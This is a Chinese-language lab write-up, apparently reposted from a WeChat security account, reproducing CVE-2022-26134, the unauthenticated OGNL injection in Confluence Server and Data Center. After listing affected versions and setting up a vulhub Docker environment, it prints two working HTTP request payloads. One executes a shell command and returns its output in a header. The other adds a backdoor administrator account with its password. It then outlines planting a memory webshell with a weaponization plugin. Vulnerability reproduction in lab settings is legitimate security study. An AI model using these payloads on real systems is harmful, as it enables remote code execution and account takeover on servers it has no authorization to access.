影响版本
-
Confluence Server and Data Center >= 1.3.0
-
Confluence Server and Data Center < 7.4.17
-
Confluence Server and Data Center < 7.13.7
-
Confluence Server and Data Center < 7.14.3
-
Confluence Server and Data Center < 7.15.2
-
Confluence Server and Data Center < 7.16.4
-
Confluence Server and Data Center < 7.17.4
-
Confluence Server and Data Center < 7.18.1
漏洞介绍
2022年6月初,Confluence官方通报了一个严重漏洞CVE-2022-26134,远程攻击者在未经身份验证的情况下,可构造OGNL表达式进行注入,实现在Confluence Server或Data Center上执行任意代码
环境搭建
Step 1:下载vulhub漏洞利用环境
Step 2:启用环境
docker-compose up -d
Step 3:访问本地8090端口,点击申请license
Step 4:默认勾选datacenter
填写完毕后点击next
选择jdbcurl连接,host为db,账号密码均为postgres
Step 5:初始化过程
这里出现两个勾选项目:
-
设置管理员账户密码
-
连接到Jira
Step 6:之后初始化空间
漏洞复现
远程命令执行
漏洞POC如下:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 2
新建用户账户
漏洞POC如下:
GET /%24%7B%23this.getUserAccessor%28%29.addUser%28%27httpvoid%27%2c%27pwn@1234%27%2c%[email protected]%27%2c%27HttpVoid%27%[email protected].confluence.util.GeneralUtil@splitCommaDelimitedString%28%22confluence-administrators,confluence-users%22%29%29%7D/
HTTP/1.1
Host: 192.168.0.104:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Length: 2
当前用户账号信息如下:
执行以上poc后退出当前用户,之后使用被增加的账户名和密码进行登录:
httpvoid pwn@1234
利用武器化
内存WebShell
使用 woodpecker工具以及深蓝大佬写的武器化插件
进行扫描探测,勾选send to poc
后续利用
勾选send to Exploit,选择CVE-2022--26134,执行exploit
连接shell
添加新用户
原文始发于微信公众号(七芒星实验室):CVE-2022-26134:Confluence OGNL表达式注入命令执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论